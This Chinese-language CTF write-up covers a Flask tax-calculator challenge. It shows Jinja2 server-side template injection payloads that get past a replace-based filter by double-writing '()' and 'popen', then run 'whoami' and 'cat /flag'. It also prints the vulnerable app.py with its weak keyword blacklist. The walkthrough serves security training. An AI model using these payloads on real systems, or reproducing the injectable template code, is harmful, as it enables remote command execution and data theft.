BMZCTF:个人所得税

http://www.bmzclub.cn/challenges#%E4%B8%AA%E4%BA%BA%E6%89%80%E5%BE%97%E7%A8%8E

BMZCTF:个人所得税_第1张图片
BMZCTF:个人所得税_第2张图片
BMZCTF:个人所得税_第3张图片
很明显是SSTI,但是{ {''.__class__.__mro__[1].__subclasses__()}}没有成功返回所有子类
BMZCTF:个人所得税_第4张图片
猜测()被过滤了,但是并不是检测到过滤字符就die,而是像是被替换为了空。所以利用双写试试

{
     {
     ''.__class__.__mro__[1].__subclasses__(())}}

BMZCTF:个人所得税_第5张图片
直接找os._wrap_close
BMZCTF:个人所得税_第6张图片
执行测试发现{ {''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['popen']('whoami').read(())}}open也被过滤了,继续尝试双写绕过

{
     {
     ''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('whoami').read(())}}

BMZCTF:个人所得税_第7张图片

{
     {
     ''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('ls -lha /;cat /flag').read(())}}

BMZCTF:个人所得税_第8张图片
最后贴一下读出来的源码:app.py

# -*- coding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import tax
from jinja2 import Template
import re

app = Flask(__name__)
flag = 1
@app.route('/cal', methods=['GET'])
def cal_tax() -> 'html':
    try:
        # income = int(request.form['income'])
        income = int(request.args.get('income', 0))
        insurance = int(request.args.get('insurance', 0))
        exemption = int(request.args.get('exemption', 0))
        # insurance = int(request.form['insurance'])
        # exemption = int(request.form['exemption'])
        before = income-insurance-exemption
        free = 5000
        rule = [
        (80000, 0.45, 15160),
        (55000, 0.35, 7160),
        (35000, 0.3, 4410),
        (25000, 0.25, 2660),     
        (12000, 0.2, 1410),
        (3000, 0.1, 210),
        (0,0.03, 0)
        ]
        title = '个税计算结果'
        mytax = tax.calc_tax(before,free,rule)
        aftertax_income = income - insurance - mytax
        return render_template('results.html',
                                the_title=title,
                                the_income=str(income),
                                the_insurance=str(insurance),
                                the_exemption=str(exemption),
                                the_tax=str(mytax),
                                the_aftertax_income=str(aftertax_income))
    except ValueError:
        print('------------error-------------\n\n')
        def safe_jinja(s):
            # 替换括号
            s = s.replace('()', '')
            s = s.replace('[]', '')
            blacklist = ['import','os','sys','commands','subprocess','open','eval']
            for bl in blacklist:
                s = s.replace(bl, "")
            return s
        title = "输入参数的值有错"
        # income = request.form['income']
        # income = request.form['income']
        # insurance = request.form['insurance']
        # exemption = request.form['exemption']
        income = request.args.get('income', 0)
        insurance = request.args.get('insurance', 0)
        exemption = request.args.get('exemption', 0)
        print(safe_jinja(exemption))
        template = '''
        
        
            
                %s
                
            
            
            
        
            

%s

请检查输入的信息:

税前月收入:%s
四险一金:%s
专项附加扣除:%s
'''
% (title, title, safe_jinja(income), safe_jinja(insurance), safe_jinja(exemption)) t = Template(template) return t.render() @app.route('/') @app.route('/index') def entry_page() -> 'html': return render_template('index.html', the_title='PY个人所得税计算器') @app.errorhandler(404) def page_not_found(e) -> 'html': return render_template('404.html', url=request.url), 404 @app.errorhandler(500) def server_error(e) -> 'html': template = ''' 500 Internal Server Error

Internal Server Error

The server encountered an internal error and was unable to complete your request. Please check jinjia2 syntax. Either the server is overloaded or there is an error in the application.

'''
return render_template_string(template), 500 if __name__ == '__main__': app.run(debug=False, port = 8003, host="0.0.0.0")

你可能感兴趣的:(CTF_WEB_Writeup)